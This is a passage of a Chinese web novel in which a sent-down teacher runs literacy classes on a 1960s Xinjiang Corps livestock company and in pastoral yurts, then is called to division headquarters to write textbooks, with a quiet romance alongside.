然后,不等舒染再说什么,转身就走。 舒染捏着那张纸条,看着陈远疆的背影,再对比他这副态度,心里似乎明白了点什么。 那盒清凉油还揣在她口袋里,薄荷味隐隐约约。 傍晚,舒染刚把杨振华送的期刊整理好,准备挑一些明天给孩子们看,教室门被敲响了。 她打开门,外面站着陈远疆,手里提着一个鼓鼓囊囊的旧麻袋。 “陈干事?”舒染有些惊讶。 陈远疆没说话,只是把麻袋往门口一放,发出沉闷的响声。 “这些没人要的废纸。”他开口,声音比平时更沉,目光看着一旁被整理好的旧期刊,就是不看她,“师部保卫处清理旧档案室,清理出来的。没人要了,你要觉得有用,就拿去。没用就扔了。” 说完,他根本不等舒染回应,转身就走,脚步又快又重。 舒染愣在原地,看着那个麻袋。她疑惑地蹲下身,解开扎口的绳子。 里面根本不是他轻描淡写的“没人要的废纸”,那是整整一麻袋的书。种类繁也很多。 除了常见的实用技术书籍,竟然还有《新华字典》、《成语词典》、甚至还有几本纸张发黄但保存完好的苏联儿童文学译本,以及一整套的《十万个为什么》,这些书虽然旧,但明显被保存得很好。 舒染看着这一麻袋的书,又想起陈远疆刚才那副别扭的样子,再结合下午他看到杨振华送书时的冷脸,这不像是是清理垃圾。 他肯定是看到杨振华送书,心里那点说不清道不明的别扭劲儿上来了,非得压过对方一头不可!于是不知道从哪个角落里翻箱倒柜,甚至可能是动用了点什么人情世故,才凑齐了这么一麻袋书籍扔给她。 舒染把麻袋里的书一本本拿出来,擦去上面的灰尘,再把杨振华送的那些期刊也拿过来,和陈远疆送的书放在一起,心里盘算着如何好好利用这些宝贵的资源。看来,接下来的扫盲课和文化课,内容可以更加丰富多彩了。 第二天上午,舒染正带着孩子们在室外上课,教他们辨认刚冒头的野菜,既是识字课,也是生活课。 忽然,连部门口传来一阵汽车引擎声。不一会儿,就见马连长和刘书记陪着一位五十多岁精神矍铄的老同志走了过来。 那位老同志背着手,步子不紧不慢,目光扫视着连队的一切,从堆放的农具到墙角晒太阳的老职工,都没放过。 马连长脸上带着明显的恭敬,一边走一边介绍着什么。刘书记也在旁边不时补充。 舒染心里正猜测着来人的身份,就见这一行人竟径直朝着她走了过来。 “舒老师!快过来!”马连长远远就喊,“师部教育处孙处长来看望大家了!” 孙处长?舒染心里一凛。她听杨振华提起过这位老领导,主管文教卫体,作风以务实严厉,不按常理出牌著称,在师部是出了名的难应付,但同时也以惜才和眼光独到闻名。 她赶紧让孩子们原地休息,自己整理了一下衣服,快步迎上去:“孙处长好!连长,书记。” 孙处长打量了她一下,脸上没什么表情,只是点点头,目光却已经越过她,落在了那群好奇张望的孩子身上:“上课呢?继续。就当我不存在,该讲什么讲什么。” 这话说得轻松,但压力巨大。舒染吸了口气,定了定神,顺势就对孩子们说:“好,那我们继续。刚才我们认识了苜蓿和沙葱,现在大家低头找找看,谁能最先发现一棵?” 孩子们立刻兴奋地低头在土坷垃里寻找起来,暂时忘了旁边的大领导。 孙处长没说话,就站在旁边看着,偶尔蹲下身,看看孩子们找到的成果,甚至还随手拔起一根野草考问一个孩子是什么,那孩子愣愣地答不上来,舒染连忙自然地从特征上引导,孩子终于想了起来,孙处长这才点了下头。 听了约莫一刻钟的野菜课,孙处长忽然站起身,径直朝教室走去。舒染和马连长他们赶紧跟上。 教室里,年龄小些的孩子正在李秀兰的看护下写字。孙处长走过去,随手拿起几个作业本翻看。 他看得极仔细,不仅看字写得好不好,还看错了的字是怎么改正的,甚至看作业本背面有没有利用起来。 “这个‘农’字,写错了三遍才改对。为什么?”他指着阿迪力的作业本笑眯眯地问。 舒染心里一紧,连忙解释:“阿迪力家是放牧的,对‘农’字不熟悉,我让他课后多描红五遍,看来是记住了。” 孙处长不置可否,又拿起石头的本子,上面有舒染用红笔写的批语“有进步!下次注意卷面整洁。”他看了一眼舒染,没说什么。 接着,他又随机点了几名学生,让他们念一段课文,或者回答一个实际问题,比如“工分票上‘拾’字怎么写?”“借条要注意什么?”问题刁钻又实际。 孩子们有的答得好,有的答得结结巴巴。舒染的心也跟着起起伏伏,但她发现,孙处长虽然严肃,却并没有斥责答不好的孩子,只是默默记着什么。 就在这时,杨振华闻讯赶来了,他显然是认识孙处长的,连忙上前恭敬地打招呼:“孙处长,您来怎么也不提前说一声,我们好准备一下。” 孙处长瞥了他一眼,哼了一声:“准备什么?准备给我看我想看的?小杨,你什么时候也学会搞这套形式主义了?” 杨振华顿时有点尴尬,但还是笑着圆场:“看您说的,主要是怕怠慢了您。舒染同志这边工作确实做得挺扎实的……” “扎不扎实,我自己会看。”孙处长打断他,目光又转向舒染,“听说你们还有个扫盲班?人呢?” 舒染赶紧说:“这个点,妇女们都在忙生产,晚上统一学习。” “哦?那去看看吧,随便找两家。”孙处长说着就往外走。 一行人只好跟着。路上,杨振华趁机低声对舒染快速说了几句孙处长的习惯和喜好,让她心里稍微有了点底。 他们随机走进了离得最近的张桂芬家家。张桂芬正在纳鞋底,看到这么多领导进来,吓了一跳。 孙处长也不客套,直接从口袋里掏出几张粮票布票,递给张桂芬:“这位女同志,你看看,这几张票,上面写的什么字?都什么时候能用?能买多少?” 张桂芬紧张地接过票,手都有些抖,但在舒染鼓励的目光下,她仔细辨认了一下,竟然磕磕绊绊但基本正确地说出了大概!她还补充了一句:“这布票……得攒着,等娃过年做新衣裳哩!”这话让孙处长脸上露出了笑意。 接着又抽查了另一家,情况也大致不错。 回到连部办公室,孙处长的脸色缓和了不少。他坐下喝了口水,看向舒染:“教材用的哪里的?” 舒染老实回答:“主要是上面发的统编扫盲教材,另外我自己也根据咱们连队职工和牧区孩子的实际情况,补充编写了一些辅助材料。” 她说着,从随身带的布包里拿出几本用废旧纸张装订成册的手写本,双手递过去。 孙处长接过,翻看起来。只见上面写着诸如《畜牧连常见牲畜名称对照表》、《工分票、粮票识别图》、《连队常用工具名称》、《卫生防疫三字经》等内容,图文并茂,尤其是那些给牧民孩子准备的汉语学习内容,舒染都考虑到了他们熟悉的事物和环境。 孙处长翻看了很久,期间用手指点着某处,问一句:“这个拖拉机后面为什么还画个骆驼?” 舒染答:“因为很多牧区孩子没见过拖拉机,先用骆驼类比理解拉东西的机器。” “这个防治口蹄疫的歌谣,是你编的?” “和卫生员许君君同志一起编的,好记。” 最后,他合上本子,看着舒染:“想法不错,花了心思。但是,内容是不是太零碎了?不成系统。有没有想过,把它编得更系统一点,就针对你们这种农牧结合连队的特点?” “想过!但是……时间和精力有限,而且缺乏参考……” 孙处长沉吟了一下,没说好,也没说不好,只是站起身:“好了,看完了。走了。” 他来得突然,走得也干脆。马连长和刘书记连忙送出去。 杨振华落在后面,对舒染快速而低声地说:“孙老从不轻易夸人,他提系统化,就是有意思!等我消息!”说完也匆匆跟了上去。 第73章 孙处长来得突然, 走得也干脆,留下了一地的心思和猜测。 马连长和刘书记送走人后,回来时脸上都带着点琢磨不透的神情。 马连长搓着手对舒染说:“舒老师, 孙处长这人心思深,他没明确表态, 但也没挑毛病,这就是好事!你最近工作照常,该咋样咋样, 但得多上心。” 刘书记则提醒:“孙处长提了系统化教材的事,这是个方向。但这事关重大,牵涉面广,未必能成。你先心里有个数, 别声张, 等等上面的消息。” 舒染点头应下。她明白, 上面一句话, 下面就可不是一句话那么简单, 而且成败未知。她压下心里的期待和忐忑, 继续投入到日常的教学和生产协助中。 孙处长视察带来的波澜,被舒染压在了心底。她知道, 越是这种时候,越要沉得住气。 教室里, 陈远疆送来的那麻袋图书和杨振华给的旧期刊正被舒染分发给了学生。 “同学们看,”舒染举着一本破旧的《人民画报》, 指着上面一幅大型工厂的照片, “这就是现代化。虽然我们现在还用坎土曼,但只要我们好好学习,将来也能开上拖拉机, 建起大工厂!” 孩子们伸长脖子,眼睛瞪得溜圆,看着图片上轰鸣的机器和整齐的厂房,发出阵阵惊叹。 石头指着图片下的文字,磕磕绊绊地念:“钢—铁—厂……” “对!念得好!”舒染鼓励道,顺势在黑板上写下了“钢铁”、“工厂”、“建设”等词。知识通过这些具象的画面,一点点渗进孩子们的心里。 扫盲班里,气氛同样热烈。王大姐拿着粉笔,在黑板上认真地写下“锄头”、“镰刀”、“工分”等字,下面的妇女们跟着念,然后用树枝在地上比划。 李秀兰则拿着账本,教大家辨认各种票据上的数字和大写。 “桂芬姐,你看,这‘伍’字,就像一个人叉着腰站着,记住了不?” “哎哟,这么一说,还真像!” 舒染心里还有个事情没放下——那片更广阔的牧场和老阿肯那句“知识毡房”的提议。师部汇演的荣誉和孙处长的关注,让她觉得推动此事的底气足了一些。 她找到刘书记和马连长,再次提出了建立牧区流动教学点的设想。 这一次,她准备得更充分:“连长,书记,牧区的孩子和群众同样渴望学习。上次孙处长来,也肯定了咱们结合实际的教学方向。咱们不能只盯着连队这一亩三分地。牧区群众认识了字,懂了道理,对咱们连队周边的稳定、生产上的沟通协作,都有大好处!安全问题,我可以组织大孩子结伴去,或者请图尔迪他们顺路照应一下,每次时间不用长,哪怕一两个小时也行!” 马连长听完舒染关于建立牧区流动教学点的设想,皱着眉头道:“舒老师,我知道你是好心。可这眼瞅着要春灌了,劳力紧得很啊!哪还抽得出人手专门护着你往牧区跑?万一出点啥事,谁负得起这个责任?” 刘书记比较委婉,但也面露难色:“舒老师,牧区情况复杂,不是咱们连一家说了算。这事,最好能有牧区那边的正式邀请,师部那边也得备案认可,不然名不正言不顺,不好开展啊。” 舒染知道领导们的顾虑在情理之中。她早有准备,退而求其次,提出了一个更稳妥的方案:“连长,书记,我明白您的顾虑。您看这样行不行?咱们不搞正式教学点,就以课后辅导、帮牧民孩子补课的名义,利用周末或者我下午没课的时间,小范围试点。就在老阿肯家毡房附近,每次时间不长,最多两小时。就让阿迪力给我带个路,也算有个照应。咱们先看看效果,摸摸情况,如果牧区群众确实欢迎,孩子们真有进步,咱们再打正式报告申请立项,行吗?” 这个方案降低了风险,也显得更务实。马连长和刘书记交换了一下眼神,最终松了口:“行吧……但安全第一!每次去必须报备!去哪,见谁,几点回,都得说清楚!遇到天气不好,绝对不能去!” 得到了默许,舒染立刻行动起来。她让阿迪力带话给老阿肯和图尔迪。老阿肯的回话很快传来:欢迎!他可以让附近的牧民孩子固定时间过来。 第一个周末,天空湛蓝,太阳照得人身上暖烘烘的。 舒染背上准备好的简单行囊——几块用木板刨平刷黑的自制小黑板,一盒粉笔,一叠用烟盒纸、废报表背面写的识字卡,还有一小包水果糖。 阿迪力牵来了他的那匹温顺的马。 骑马走在去往牧场的路上,春风还带着凉意,却已能闻到泥土和青草萌发的清新气息。 舒染不禁感叹道:“辽阔的天地真让人心胸开阔。” 老阿肯的毡房外,已经零零散散坐了七八个孩子,从五六岁到十二三岁都有,穿着皮袄,小脸被风吹得红扑扑的,眼睛里充满了好奇和怯生。 他们的父母远远站着,同样带着好奇的目光。 没有教室,没有课桌,课堂就设在蓝天白云之下,绿草之上。 舒染没有急于上课,她先让阿迪力帮忙,用民语和孩子们打招呼,然后拿出水果糖分给大家,很快拉近了距离。 她开始第一课,是拿起一根草,用粉笔在小黑板上画下草的形状,旁边写上大大的“草”字,然后指着脚下的草地。 “草——”她缓慢而清晰地念。 孩子们跟着念,发音古怪,但很认真。 她又画了一只简笔的羊,写上“羊”,指着远处吃草的羊群。 “羊——” …… 教学进行得缓慢却充满趣味。孩子们对图形和实物对应的方式接受很快。但当舒染试图教更复杂的词句时,语言障碍成了巨大的鸿沟,往往需要阿迪力的翻译。 舒染没有照搬连队的教材,而是从最基础的、与他们生活息息相关的内容教起:“羊”、“马”、“奶”、“草”、“家”。 她接着指着实物,拿出汉字卡片,让孩子们跟着念,用粉笔在小黑板上画。 孩子们一开始很拘谨,但好奇战胜了一切。他们对这种新奇的学习方式充满了兴趣,学得格外认真。 老阿肯坐在不远处,抽着烟袋,默默地看着。 一次、两次……舒染坚持每周都去,每次时间不长,但内容精心准备。她教他们认数字,学写自己的名字,其实就是汉字和简单音译,还教唱简单的汉语歌谣。 来的孩子渐渐多了起来,甚至有些年轻的牧民妇女也会凑在旁边好奇地听。 牧区知识毡房成功地迈出了第一步。 接下来的周末,舒染雷打不动地前往牧场。有时阳光明媚,有时却会遭遇突如其来的大风,吹得小黑板砰砰作响,纸张乱飞,孩子们在风中瑟瑟发抖,教学不得不中断。 有时赶到时,毡房里空无一人,牧民转场去了更远的夏牧场。孩子们的时间也难以保证,常常学一会儿就被叫去帮忙赶羊、挤奶。 挫折并未让舒染气馁。她调整策略,变得更加灵活。时间上,她更多地利用傍晚牧民归牧后的短暂闲暇。 教学方法上,她画了更多的图画,编了更多结合放牧生活的顺口溜和简单歌谣。 她重点培养了阿迪力和另一个稍大的女孩古丽当小助教,他们不仅能翻译,还能协助维持秩序、带领复习。 舒染甚至开始跟阿迪力学习最简单的民语,虽然她蹩脚的发音常常引来孩子们的哄笑,却也拉近了彼此的距离。 一次,她正在教“马”和“骑马”这个词,一个调皮的小男孩突然站起来,激动地比划着,指着远处一匹烈马,又指指自己,意思是那是他的马,骑得可好了。 舒染灵机一动,就地取材,将“骑马”、“奔跑”、“勇敢”这些词结合起来教,孩子们学得格外起劲。 知识毡房不仅传授着文字,更成为连接连队与牧区、沟通汉族与牧区民族文化的桥梁。 舒染仔细记录着每一次的教学情况、孩子们的进步、遇到的困难。这些一手资料丰富了她正在为孙处长准备的那份系统化教材,尤其是针对牧区孩子的教学内容和方式,有了更多接地气的思考。 偶尔从牧区回来,王大姐会拉着她问:“舒老师,跑那么远,就教那几个娃娃,累不累?值当吗?也没见有个啥名分。” 舒染狡黠地笑笑:“累是累点。但大姐,你没看见,那些孩子学会写自己名字时,那个高兴劲儿!而且建这知识毡房以后会有大好处!” 她深知,这条路或许很长,而这一切的耕耘,都在为她即将到来的更大机遇,积蓄着力量。 日子在忙碌中又过去几个月。就在舒染以为孙处长那次视察只是上级一次普通的走走看看时,连部接到了师部教育处直接打来的电话。 电话是刘书记接的,他听着听着,脸色就变得严肃而惊讶,连连称是。 第74章 午后, 阳光正好。舒染正带着一群半大的孩子在教室后墙根开垦出的一小片田里,辨认刚冒头的土豆苗和胡萝卜苗。这是她新开的自然课,既教识字, 也教常识。 “舒老师!舒老师!”连部通讯员小赵气喘吁吁地跑过来,脸上带着急色, “快!刘书记让你赶紧去连部一趟!师部来电话了,指名要找你呢!” 师部电话?指名找她?舒染第一个念头是教材编写的事有变卦?还是牧区教学点出了什么岔子?她赶紧拍拍手上的泥,对孩子们交代了几句, 跟着小赵就往连部跑。 连部门口,已经聚了几个好奇的职工,探头探脑地往里看。 王大姐正在附近晾衣服,见状也擦着手跟了过来, 紧张地问:“咋啦咋啦?出啥事了?” 舒染顾不上回答, 快步走进连部办公室。刘书记正拿着电话听筒, 脸色凝重中又透着一丝难以置信的兴奋, 嘴里不断应着:“是, 是!首长放心!我们一定支持!好, 好,让她接电话!” 看见舒染进来, 刘书记立刻把听筒递给她,捂着话筒低声快速说:“师部教育处!大好事!孙处长点名要抽你去参加教材编写!” 教材编写?孙处长点名?舒染的心猛地狂跳起来。她深吸一口气, 稳了稳神,才接过听筒:“喂, 首长好, 我是舒染。” 电话那头是一个略显严肃但还算和气的李副处长,正式通知了抽调她参加师部“农牧结合连队扫盲与基础教育教材编写小组”的决定,强调了这是孙处长亲自点名, 让她尽快交接工作,做好准备,一周后报到。 挂了电话,舒染还觉得有点晕乎乎的,像踩在云里。办公室里,闻讯赶来的马连长搓着手,又是高兴又是担忧:“哎呀!这可是天大的好事!咱们连的脸面!可……舒老师这一走就是一个月,学校这摊子……” 刘书记比较冷静:“机会难得!这是上级对舒老师工作的肯定,更是对我们畜牧连的重视!工作嘛,想办法克服!王桂兰、李秀兰现在也能顶不少事了,孩子们的文化课不能落下的核心内容舒老师肯定提前安排好。” 外面的职工们听到消息,也炸开了锅。 “啥?舒老师要去师部编书了?” “哎呦!了不得!那可是写书啊!” “舒老师真有本事!” 但也有不同的声音隐约传来: “编写教材?那得是多大的学问?舒老师再能干,也就是个知青,能行吗?” “就是,别到时候说啥人家专家不听,白跑一趟。” “一个月呢,学校的课咋办?扫盲班咋办?” 这些担忧也并非全无道理。舒染自己也有压力。去师部,面对的都是专家领导,她这些“土经验”能登上大雅之堂吗?她走了,这边刚有起色的教学会不会滑坡? 王大姐可不管那些,挤进办公室,拉着舒染的手激动得直晃:“舒老师!俺就知道你行!真给咱连长脸!去吧!放心去!学校有俺和秀兰呢!保证不掉链子!” 李秀兰也挤过来,眼睛亮晶晶的,用力点头。 消息像长了翅膀,很快传遍了连队。孩子们听说舒老师要去远地方编书,既骄傲又舍不得,围着她问东问西。 舒染沉浸在巨大的惊喜和随之而来的压力中,忙着梳理手头的工作,思考如何交接,一时间也没顾上其他。 傍晚,她正在教室整理教案,许君君风风火火地背着药箱冲了进来,一把抱住舒染的胳膊,又笑又跳:“我的天!舒染!你要去师部编教材了!太好了!我就知道你能行!孙处长真有眼光!” 她兴奋得像自己中了奖,但随即又垮下脸,撅起嘴:“可是要去一个月啊?那么久……你到时候见了大世面,不会嫌我土,不回来了吧?” 舒染被她逗笑了,捶了她一下:“胡说八道什么呢!我是去工作,又不是去享福。再说,谁能比得上咱们青春靓丽的许医生啊?” 许君君这才又笑起来,然后立刻进入医生角色,严肃地翻开药箱:“要去一个月,我得给你准备点东西!路上万一有点头疼脑热咋办?” 她不由分说地往里塞了一小瓶甘草片、几小包止痛散、一小卷绷带、甚至还有几片珍贵的消炎药,“这个!这个消炎药关键时刻才能用!记住了吗?还有,师部食堂要是吃得不习惯,胃不舒服,就吃点这个……”她又塞过来一小瓶胃药。 看着她像老母亲一样絮絮叨叨地塞东西,舒染心里暖暖的,鼻子有点酸:“好啦好啦,我是去师部,又不是去无人区,哪用带这么多。” “有备无患!谁知道师部那帮人靠不靠谱!”许君君霸道地合上药箱搭扣,然后又压低声音,挤眉弄眼地问,“哎,陈远疆知道了吗?他啥反应?有没有表示点啥?”她可是一直密切关注着这两人的进展。 舒染脸含糊道:“他能有啥反应……就那样呗。” “就那样是哪样啊?”许君君不依不饶。 正说着,陈远疆的身影就出现在了门口。 他像是刚从地里回来,裤腿上还沾着泥点,脸色是一贯的冷硬,但看到许君君也在时,他迈进来的步伐顿了一下,眉头蹙起,像是没想到会有第三人在场。 许君君一抬头看见他,眼睛立刻亮了,脸上浮现出狡黠的笑容,故意拉长了声音:“哟!陈干事真是稀客呀!快请进快请进!是来视察我们舒老师备战师部的准备工作吗?”她一边说,一边用胳膊肘偷偷碰了碰舒染。 陈远疆的脸色更冷硬了些,他没接许君君的话茬,目光直接落在舒染身上,语气平淡得像是在汇报工作:“听说你要去师部。” 舒染有点尴尬地瞪了许君君一眼,点点头:“嗯,刚接到的通知。” “一个月?”他问,声音低沉。 “初步是这么定的。”舒染答。 许君君在一旁看得津津有味,忍不住又插嘴,语气夸张:“可不嘛!陈干事,您可得想想办法,师部的路那么远!咱们舒老师一个人去多让人不放心!”她冲舒染挤眉弄眼。 陈远疆像是完全没听见许君君的话,也可能是根本不知道该如何应对这种调侃。 他沉默了几秒,忽然从身后拿出一个用旧军绿色帆布包着的东西,那帆布看起来有些年头了,边角磨损得发白,但洗得很干净。 他直接递向舒染,动作有点快。 “拿着。”他的目光看着旁边的墙壁,就是不看她俩。 “这是什么?”舒染疑惑地接过。 许君君已经好奇地凑了过来:“快打开看看!陈干事送的肯定是好东西!” 舒染解开系着的布扣,打开帆布包,里面是一架看起来有些年头的黄铜材质的老式望远镜。镜筒上还有轻微的磕碰痕迹,但镜头擦拭得干干净净。帆布包里还有一小块柔软的麂皮擦拭布。 “望远镜?”舒染惊讶地抬起头。 许君君也瞪大了眼睛,啧啧称奇:“望远镜!陈干事,您这可真是……别出心裁啊!” 陈远疆的视线终于转回来,落在望远镜上,语气平淡得像是在介绍装备:“旧的,淘汰下来的。师部楼高,远处看得清。” 他顿了顿,像是想起了什么,又补充了一句,声音更低了些,“遇事……登高望远,看清楚再走。” 这话说得依旧别扭,又像是提醒她在陌生的环境里审慎行事。 许君君这回没笑,反而收起了嬉闹的表情,认真地点点头:“陈干事说得对!师部情况复杂,是该多看看,看清楚了再说!这礼物好!实用!” 舒染摩挲着黄铜镜筒,“谢谢……我很喜欢。” 陈远疆看着她,似乎还想说什么,嘴唇动了动,最终却只是点了点头,转身大步离开了, 等他走远,许君君再也忍不住,趴在桌子上笑得肩膀直抖:“看见没?看见没?耳朵都红了!他陈远疆还会不好意思呢!” 舒染也被她逗得哭笑不得,看着手里的望远镜,心里那点离愁别绪被冲淡了不少。 “你就别笑话他了。”舒染嗔怪道,嘴角却忍不住上扬。 “我哪是笑话?我这是为你们高兴!”许君君止住笑,凑过来,神秘兮兮地说,“我看啊,他这是真把你放心上了。去了师部,好好干,也别忘了时不时给咱们连里……哦不,给某些人捎个信儿回来!”她冲舒染眨眨眼,一切尽在不言中。 出发那天,连里不少人都来送行。马连长、刘书记反复叮嘱:“到了师部,好好干,但也别怕,有啥事给连里打电话!” 王大姐塞给她一包煮熟的鸡蛋:“路上吃!别饿着!” 李秀兰偷偷往她包里塞了一小瓶自己做的酱菜。 孩子们围着她,七嘴八舌地告别。 舒染一一应着,心里充满了感激和不舍。就在她准备登上那辆通往团部转运点的破旧卡车时,一辆军绿色的吉普车卷着尘土停在了连部门口。 车上跳下来一个年轻的战士,对着陈远疆敬了个礼:“报告陈特派员,奉命去师部运送物资,可以出发了!” 陈远疆回了个礼,然后看向舒染,语气平淡:“正好有顺路车去师部,指捎你一程,比卡车快。” 所有人都愣住了。师部的吉普车?顺路?这么巧? 舒染看向陈远疆,他脸上没什么表情,但眼神里有不容置疑的意味。 她瞬间明白了,这绝不是巧合。不知道他找了什么理由,才安排了这趟“顺风车”。 马连长和刘书记先是一愣,随即恍然大悟,脸上露出放心的笑容:“哎呀!那太好了!太好了!坐吉普车安全,快!舒老师,快上车!” 在众人的目光中,舒染拎着简单的行李,坐上了吉普车的副驾驶座。车子启动,驶离连队。 她透过车窗回头望去,看见陈远疆依旧站在原地,身姿挺拔,目光追随着车子,直到拐过弯,再也看不见。 第75章 吉普车在戈壁路上颠簸, 卷起的黄土尾随其后。 舒染攥紧车框上的把手,身子仍随着坑洼路面不断弹起又落下。 “舒老师,您坐稳些!”驾驶座上的小战士大声喊道, 声音在风噪中有些模糊,“这路就这样, 我们管它叫摇摇路,摇着摇着就到了!” 舒染勉强笑了笑,目光扫过窗外无边无际的戈壁。偶尔有几簇耐旱的骆驼刺和红柳丛掠过, 顽强地在戈壁上扎根生长。 “同志,怎么称呼您?”她提高声音问。 “我叫小李,是师部运输连的!”小战士腾出一只手正了正军帽,“陈干事特意安排我来接您!” 听到“陈干事”三个字, 舒染心头微微一动。“陈特派员……他要回师部了吗?” “没呢!陈干事还在畜牧连那边待命。”小李熟练地打着方向盘, 避开一个深坑, “听说边境上又不太平了, 有敌特活动, 他们保卫处的都得盯紧点儿。” 舒染想起之前发生的爆炸事件和敌特破坏, 不禁皱了皱眉:“这么危险,为什么非要在畜牧连待着?师部不是更需要他吗?” 小李嘿嘿一笑:“舒老师, 这您就不懂啦!畜牧连那儿靠近边境线,最容易摸清情况。陈干事可是老边防了, 听说他当年在战场上就是侦察兵出身,最擅长在边境一带活动。师部办公室里哪能显出他的本事?” 车突然剧烈颠簸了一下, 舒染赶紧抓住座椅。 “对不起啊舒老师, 这路就这样!”小李不好意思地挠挠头,“其实陈干事在师部有办公室,但他很少待那儿。我们都说他是马背上的干事, 不是在山里,就是在戈壁滩上跑。” 舒染若有所思。她回忆起陈远疆那双总是锐利的眼睛,确实不像是常年坐办公室的人会有的眼神。 “那他为什么不好好在师部待着,非要在下面跑?”她忍不住继续探问。 小李压低了些声音:“听说是在执行什么特殊任务,具体我也不清楚。保卫处的事儿,咱可不能多问。不过陈干事这人挺特别的,师部几次要调他回去,他都申请留在下面。有人说他傻,放着舒服日子不过,非要去吃苦……” 小战士突然刹住了话头,像是意识到自己说太多了,专心致志地开起车来。 舒染也不再追问,目光投向窗外。远处天地交界处,一排排白杨树渐渐映入眼帘。 经过数小时的颠簸,吉普车终于驶入师部所在地。与畜牧连的简陋相比,这里俨然是个小城镇的模样。整齐的房屋排列有序,大多是土坯平房,偶尔有几栋砖瓦结构的建筑 “那是师部办公楼,去年刚盖的。”小李指着不远处一栋二层的砖楼,语气中带着自豪,“咱们师部越来越像样了!” 舒染望着那栋在21世纪看来再普通不过的二层小楼,在当时的条件下却已是难得的现代化建筑。她不禁想起上海的高楼大厦,恍惚间有种时空交错的感觉。 车在一排平房前停下。“舒老师,到了!这里是师部招待所,教育科的张干事会来接您。我得回去报到了!”小李利落地跳下车,帮舒染取下行李。 一个戴眼镜的中年男子早已等在门口,见到舒染立刻迎上来:“是畜牧连的舒染同志吧?我是教育科的张明,欢迎欢迎!” 与小李道别后,舒染跟着张明走进招待所。房间简单但整洁,一张木床,一张桌子,一把椅子,墙上贴着毛主席语录。最让她惊喜的是,屋里居然通了电灯 “舒染同志,你先休息一下,下午我带你去教材编写组报到。”张明语气正式但不失热情,“你们畜牧连的扫盲工作很有特色,孙处长特别指示要好好总结经验。” 送走张明,舒染简单洗漱后,躺在床上却毫无睡意。她起身走出招待所,想在师部转转。 师部驻地比畜牧连大了许多,功能分区明确。办公区、生活区、后勤仓库、农机停放场……虽然建筑简陋,但规划得井井有条。路上的人们行色匆匆,各自忙碌着。 “同志,请问供销社在哪?”舒染拦住一个路过的工作人员问道。 那人指了指东边:“顺着这条路直走,拐弯就是。” 舒染道谢后朝指示方向走去。供销社比畜牧连的大了不少,商品种类也多了些。 她注意到柜台里有铅笔和本子出售,虽然数量有限,但比畜牧连的供应好多了。 “要买点什么?”售货员问道。 舒染想了想,掏出随身带的票和钱:“要三十支铅笔和个本子。”这些是为畜牧连的孩子们买的。 提着买到的文具,舒染继续在师部转悠。 她注意到一座相对较大的建筑,门口挂着“礼堂”的牌子,里面传来排练节目的声音。想起畜牧连那简陋的工具棚教室,她不禁叹了口气。 “舒染同志?”一个熟悉的声音从身后传来。 舒染转身,看见杨振华站在不远处,手里拿着一叠文件。 “杨干事?您怎么在师部?”舒染有些惊讶。 杨振华笑着走过来:“调来师部宣传科已经半个月了。你是来参加教材编写工作的吧?” 舒染点点头:“今天刚报到。” “太好了!畜牧连的经验值得推广,你们那个扫盲教材的创意很实用。”杨振华热情地说,“走,我带你逛逛师部。” 两人沿着师部的主路走着,杨振华介绍着各个部门的位置。 “那是师部医院,虽然设备简单,但比连队卫生室强多了。”杨振华指着一排白色的平房说,“许君君同志就是那里培训的吧?” 舒染想起许君君在简陋卫生室里忙进忙出的身影,再次感受到师部与连队条件的差异。 “师部有多少人啊?”她好奇地问。 “正式编制人员加家属大概一千多人吧,是咱们师最大的驻地了。”杨振华回答道,“不过比起内地还是差得远。想家了吗?” 舒染摇摇头:“没有,就是觉得兵团人真不容易,在这么艰苦的地方扎下根来。” 杨振华感叹道:“是啊,我刚来时也不习惯。但你看——”他指向远处正在开垦的田地,“这才几年时间,戈壁滩就变了样。咱们兵团人就是有这股劲儿,让沙漠变绿洲,让荒野变良田。” 舒染顺着他的手指望去,确实看到了一片片绿意盎然的农田,与周围的戈壁滩形成了鲜明对比。 中午,杨振华带舒染去了师部食堂。这里的伙食明显比连队丰富,甚至有应季蔬菜供应。 “师部有自己的温室大棚,所以在这里就算是冬天也能吃到些绿叶菜。”杨振华解释道,“不过肉食还是紧缺,一周只能吃上一两次。” 吃饭时,几个教育科的人也加入了他们。听说舒染是从畜牧连来的,大家都好奇地问起那里的扫盲工作。 “我们听说你自编了扫盲教材?能看懂票据、记工分的那种?”一个戴眼镜的女同志感兴趣地问。 舒染点点头:“其实就是从实际需要出发,教大家最急需的知识。” “这个思路很好!”另一个中年男子插话,“咱们以前的扫盲教材太脱离实际了,老百姓学了用不上。” 大家热烈地讨论着,舒染悄悄观察着这些人。他们脸上没有畜牧连职工那种经年累月风吹日晒的痕迹,言谈举止也更像知识分子。这就是兵团的不同层面,她想,有的人在一线开荒生产,有的人在机关规划协调。 下午,舒染准时到教育科报到。孙处长亲自接待了她。 “舒染同志,欢迎你来师部。”孙处长开门见山,“你们畜牧连的扫盲工作很有特色,特别是那个实用教材的想法。这次抽调你来,就是希望你把经验总结出来,推广到全师。” 舒染有些忐忑:“孙处长,我只是做了一些尝试,可能还不成熟……” “不成熟没关系,可以不断完善。”孙处长一挥手,“重要的是从实际需要出发。兵团的扫盲任务很重,光靠上面发的□□材不够,需要你们基层的创新。” 接下来的时间,舒染见到了教材编写组的其他成员。有师部学校的老师,有教育科的干事,还有从其他团抽调来的教学骨干。大家相互介绍后,很快就进入了工作状态。 傍晚,舒抱着一叠资料回到招待所。一天接触下来,她感受到了师部与连队的巨大差异。这里信息更灵通,资源更丰富,但也更远离生产一线。 她不禁想起畜牧连的孩子们,不知道今天王大姐和李秀兰能不能管好课堂。 “舒染同志,等一下。”招待所的管理员,一位面容和善的中年大姐叫住了正欲上楼的她,“有你的东西,下晌就送来了。” 舒染疑惑地打开,里面是一包核桃。包裹没有署名,但她一眼就认出那熟悉的军用布包材质。 回到房间,舒染摊开教材编写材料,开始工作。她先把在畜牧连使用的扫盲内容整理出来,然后根据孙处长的要求,增加了更多的教学案例和应用场景。 窗外,师部的灯光陆续亮起。虽然比不上21世纪城市的灯火辉煌,但比畜牧连只有零星灯光的情况好多了。 舒染走到窗前,望着远处最后一抹晚霞,心中涌起一种奇异的感觉——她仿佛同时生活在两个世界:一个是21世纪的现代都市,一个是六十年代的边疆兵团。 “咚咚咚”,敲门声打断了她的思绪。 “请进。” 门被推开,一个扎着双辫的年轻姑娘探进头来:“舒染同志吧?我是宣传科的干事小刘,杨干事让我给你送些稿纸来。” “谢谢,放桌上就好。”舒染微笑着说。 小刘放下稿纸,却没有立即离开,而是好奇地打量着舒染:“听说你是从上海来的?还在畜牧连办起了学校?” 